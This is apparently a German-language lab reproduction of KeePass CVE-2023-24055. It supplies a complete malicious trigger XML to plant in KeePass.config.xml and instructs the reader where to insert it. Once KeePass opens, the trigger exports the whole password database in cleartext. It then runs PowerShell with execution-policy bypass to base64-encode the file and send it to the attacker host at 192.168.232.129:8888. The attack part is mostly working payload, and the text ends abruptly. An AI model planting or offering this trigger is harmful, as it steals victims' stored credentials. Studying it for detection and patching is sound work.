KeePass-CVE-2023-24055

KeePass CVE-2023-24055 Reproduktion KeePass CVE-2023-24055 Reproduktion

Vorbereitung der Maschinen: Kali (192.168.232.129), Windows 10 (192.168.232.128)
KeePass-Version: 2.53

Bild 1

Prinzip: Durch Ändern der KeePass-Konfigurationsdatei KeePass.config.xml wird eine Trigger-Konfiguration hinzugefügt, die das Klartextpasswort exportiert und auf den Server des Angreifers hochlädt. Der XML-Code für den hinzugefügten Trigger lautet wie folgt:

Dabei legt das Feld <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> den lokalen Pfad für den Export des Klartextpassworts fest.

Übertragen Sie die Passwortdatei mit PowerShell über die GET-Methode:

<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>

<Triggers>
				<Trigger>
					<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
					<Name>exploit</Name>
					<Events>
						<Event>
							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
							<Parameters>
								<Parameter>0</Parameter>
								<Parameter />
							</Parameters>
						</Event>
					</Events>
					<Conditions />
					<Actions>
						<Action>
							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
							<Parameters>
								<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
								<Parameter>KeePass XML (2.x)</Parameter>
								<Parameter />
								<Parameter />
							</Parameters>
						</Action>
						<Action>
							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
							<Parameters>
								<Parameter>PowerShell.exe</Parameter>
								<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
								<Parameter>False</Parameter>
								<Parameter>1</Parameter>
								<Parameter />
							</Parameters>
						</Action>
					</Actions>
				</Trigger>
			</Triggers>

Ändern Sie die Datei KeePass.config.xml, fügen Sie die XML-Konfiguration hinzu und speichern Sie sie (Einfügeposition: innerhalb des Tags <TriggerSystem></TriggerSystem>). Öffnen Sie KeePass, um zu überprüfen, ob das Hinzufügen erfolgreich war:

tu2